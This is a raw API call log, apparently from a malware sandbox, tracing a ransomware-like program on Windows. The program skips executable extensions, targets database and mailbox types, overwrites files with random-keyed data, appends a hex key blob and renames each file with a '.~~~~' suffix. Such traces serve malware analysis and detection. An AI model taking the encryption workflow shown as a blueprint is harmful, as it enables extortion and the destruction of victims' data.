	[0142.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".dll") returned 0x0
	[0142.926] lstrlenW (lpString=".bat") returned 4
	[0142.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".bat") returned 0x0
	[0142.926] lstrlenW (lpString=".cpl") returned 4
	[0142.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".cpl") returned 0x0
	[0142.927] lstrlenW (lpString=".sys") returned 4
	[0142.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".sys") returned 0x0
	[0142.927] lstrlenW (lpString=".msc") returned 4
	[0142.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".msc") returned 0x0
	[0142.927] lstrlenW (lpString=".com") returned 4
	[0142.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".com") returned 0x0
	[0142.927] lstrlenW (lpString=".lnk") returned 4
	[0142.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".lnk") returned 0x0
	[0142.927] lstrlenW (lpString=".msp") returned 4
	[0142.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".msp") returned 0x0
	[0142.927] lstrlenW (lpString=".pif") returned 4
	[0142.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".pif") returned 0x0
	[0142.927] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.930] lstrlenW (lpString=".sqb") returned 4
	[0142.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".sqb") returned 0x0
	[0142.930] lstrlenW (lpString=".ost") returned 4
	[0142.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".ost") returned 0x0
	[0142.930] lstrlenW (lpString=".txt") returned 4
	[0142.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".txt") returned 0x0
	[0142.930] lstrlenW (lpString=".mdt") returned 4
	[0142.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".mdt") returned 0x0
	[0142.930] lstrlenW (lpString=".BDB") returned 4
	[0142.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".BDB") returned 0x0
	[0142.930] lstrlenW (lpString=".eql") returned 4
	[0142.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".eql") returned 0x0
	[0142.931] lstrlenW (lpString=".DBF") returned 4
	[0142.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".DBF") returned 0x0
	[0142.931] lstrlenW (lpString=".EQL") returned 4
	[0142.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".EQL") returned 0x0
	[0142.931] lstrlenW (lpString=".FDB") returned 4
	[0142.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".FDB") returned 0x0
	[0142.931] lstrlenW (lpString=".EDB") returned 4
	[0142.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".EDB") returned 0x0
	[0142.931] lstrlenW (lpString=".DACPAC") returned 7
	[0142.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.931] lstrlenW (lpString=".VHD") returned 4
	[0142.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".VHD") returned 0x0
	[0142.931] lstrlenW (lpString=".DBV") returned 4
	[0142.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".DBV") returned 0x0
	[0142.931] lstrlenW (lpString=".dacpac") returned 7
	[0142.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.931] lstrlenW (lpString=".sdf") returned 4
	[0142.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".sdf") returned 0x0
	[0142.931] lstrlenW (lpString=".accdb") returned 6
	[0142.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".accdb") returned 0x0
	[0142.931] lstrlenW (lpString=".DBX") returned 4
	[0142.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".DBX") returned 0x0
	[0142.931] lstrlenW (lpString=".MDT") returned 4
	[0142.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".MDT") returned 0x0
	[0142.931] lstrlenW (lpString=".SQB") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".SQB") returned 0x0
	[0142.932] lstrlenW (lpString=".vhd") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".vhd") returned 0x0
	[0142.932] lstrlenW (lpString=".bac") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".bac") returned 0x0
	[0142.932] lstrlenW (lpString=".mdf") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".mdf") returned 0x0
	[0142.932] lstrlenW (lpString=".BAK") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".BAK") returned 0x0
	[0142.932] lstrlenW (lpString=".BAC") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".BAC") returned 0x0
	[0142.932] lstrlenW (lpString=".dbs") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".dbs") returned 0x0
	[0142.932] lstrlenW (lpString=".vhdx") returned 5
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.932] lstrlenW (lpString=".NDF") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".NDF") returned 0x0
	[0142.932] lstrlenW (lpString=".dat") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".dat") returned 0x0
	[0142.932] lstrlenW (lpString=".DBS") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".DBS") returned 0x0
	[0142.932] lstrlenW (lpString=".CKP") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".CKP") returned 0x0
	[0142.932] lstrlenW (lpString=".edb") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".edb") returned 0x0
	[0142.932] lstrlenW (lpString=".PST") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".PST") returned 0x0
	[0142.932] lstrlenW (lpString=".dbf") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".dbf") returned 0x0
	[0142.932] lstrlenW (lpString=".SQL") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".SQL") returned 0x0
	[0142.932] lstrlenW (lpString=".pst") returned 4
	[0142.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".pst") returned 0x0
	[0142.933] lstrlenW (lpString=".dbv") returned 4
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".dbv") returned 0x0
	[0142.933] lstrlenW (lpString=".SDF") returned 4
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".SDF") returned 0x0
	[0142.933] lstrlenW (lpString=".dtxs") returned 5
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.933] lstrlenW (lpString=".db3") returned 4
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".db3") returned 0x0
	[0142.933] lstrlenW (lpString=".OST") returned 4
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".OST") returned 0x0
	[0142.933] lstrlenW (lpString=".dbx") returned 4
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".dbx") returned 0x0
	[0142.933] lstrlenW (lpString=".DB3") returned 4
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".DB3") returned 0x0
	[0142.933] lstrlenW (lpString=".DAT") returned 4
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".DAT") returned 0x0
	[0142.933] lstrlenW (lpString=".VHDX") returned 5
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.933] lstrlenW (lpString=".ndf") returned 4
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".ndf") returned 0x0
	[0142.933] lstrlenW (lpString=".DB") returned 3
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".DB") returned 0x0
	[0142.933] lstrlenW (lpString=".sql") returned 4
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".sql") returned 0x0
	[0142.933] lstrlenW (lpString=".MYD") returned 4
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".MYD") returned 0x0
	[0142.933] lstrlenW (lpString=".DBT") returned 4
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".DBT") returned 0x0
	[0142.933] lstrlenW (lpString=".ACCDB") returned 6
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.933] lstrlenW (lpString=".fdb") returned 4
	[0142.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".fdb") returned 0x0
	[0142.933] lstrlenW (lpString=".bak") returned 4
	[0142.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".bak") returned 0x0
	[0142.934] lstrlenW (lpString=".myd") returned 4
	[0142.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".myd") returned 0x0
	[0142.934] lstrlenW (lpString=".DTXS") returned 5
	[0142.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.934] lstrlenW (lpString=".ckp") returned 4
	[0142.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".ckp") returned 0x0
	[0142.934] lstrlenW (lpString=".dbt") returned 4
	[0142.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".dbt") returned 0x0
	[0142.934] lstrlenW (lpString=".db") returned 3
	[0142.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".db") returned 0x0
	[0142.934] lstrlenW (lpString=".TXT") returned 4
	[0142.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".TXT") returned 0x0
	[0142.934] lstrlenW (lpString=".MDF") returned 4
	[0142.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".MDF") returned 0x0
	[0142.934] lstrlenW (lpString=".bdb") returned 4
	[0142.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".bdb") returned 0x0
	[0142.934] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0142.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.934] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.935] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.935] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0142.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0142.936] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26292568974) returned 1
	[0142.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe9b3210, dwHighDateTime=0x1d60e1e)) 
	[0142.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe558
	[0142.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe558 | out: hHeap=0x300000) returned 1
	[0142.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aa668
	[0142.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0142.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa668 | out: hHeap=0x300000) returned 1
	[0142.936] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.937] GetLastError () returned 0x0
	[0142.937] GetLastError () returned 0x0
	[0142.937] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.937] GetLastError () returned 0x0
	[0142.937] GetLastError () returned 0x0
	[0142.937] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x58e2, lpOverlapped=0x0) returned 1
	[0142.939] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffa71e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.939] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x58e2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x58e2, lpOverlapped=0x0) returned 1
	[0142.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.940] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.940] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.940] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.940] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.940] CloseHandle (hObject=0x104) returned 1
	[0142.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aa668
	[0142.940] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3f.gif.~~~~")) returned 1
	[0142.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa668 | out: hHeap=0x300000) returned 1
	[0142.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0142.942] GetLastError () returned 0x0
	[0142.943] RtlWakeConditionVariable () returned 0x0
	[0142.943] GetCurrentThreadId () returned 0x9cc
	[0142.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".scr") returned 0x0
	[0142.943] lstrlenW (lpString=".cmd") returned 4
	[0142.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".cmd") returned 0x0
	[0142.943] lstrlenW (lpString=".dll") returned 4
	[0142.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".dll") returned 0x0
	[0142.943] lstrlenW (lpString=".bat") returned 4
	[0142.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".bat") returned 0x0
	[0142.943] lstrlenW (lpString=".cpl") returned 4
	[0142.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".cpl") returned 0x0
	[0142.943] lstrlenW (lpString=".sys") returned 4
	[0142.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".sys") returned 0x0
	[0142.943] lstrlenW (lpString=".msc") returned 4
	[0142.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".msc") returned 0x0
	[0142.943] lstrlenW (lpString=".com") returned 4
	[0142.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".com") returned 0x0
	[0142.943] lstrlenW (lpString=".lnk") returned 4
	[0142.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".lnk") returned 0x0
	[0142.943] lstrlenW (lpString=".msp") returned 4
	[0142.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".msp") returned 0x0
	[0142.943] lstrlenW (lpString=".pif") returned 4
	[0142.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".pif") returned 0x0
	[0142.943] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir40f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.945] lstrlenW (lpString=".sqb") returned 4
	[0142.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".sqb") returned 0x0
	[0142.945] lstrlenW (lpString=".ost") returned 4
	[0142.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".ost") returned 0x0
	[0142.945] lstrlenW (lpString=".txt") returned 4
	[0142.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".txt") returned 0x0
	[0142.945] lstrlenW (lpString=".mdt") returned 4
	[0142.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".mdt") returned 0x0
	[0142.946] lstrlenW (lpString=".BDB") returned 4
	[0142.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".BDB") returned 0x0
	[0142.946] lstrlenW (lpString=".eql") returned 4
	[0142.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".eql") returned 0x0
	[0142.946] lstrlenW (lpString=".DBF") returned 4
	[0142.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF", lpSrch=".DBF") returned 0x0
	[0142.946] lstrlenW (lpString=".EQL") returned 4
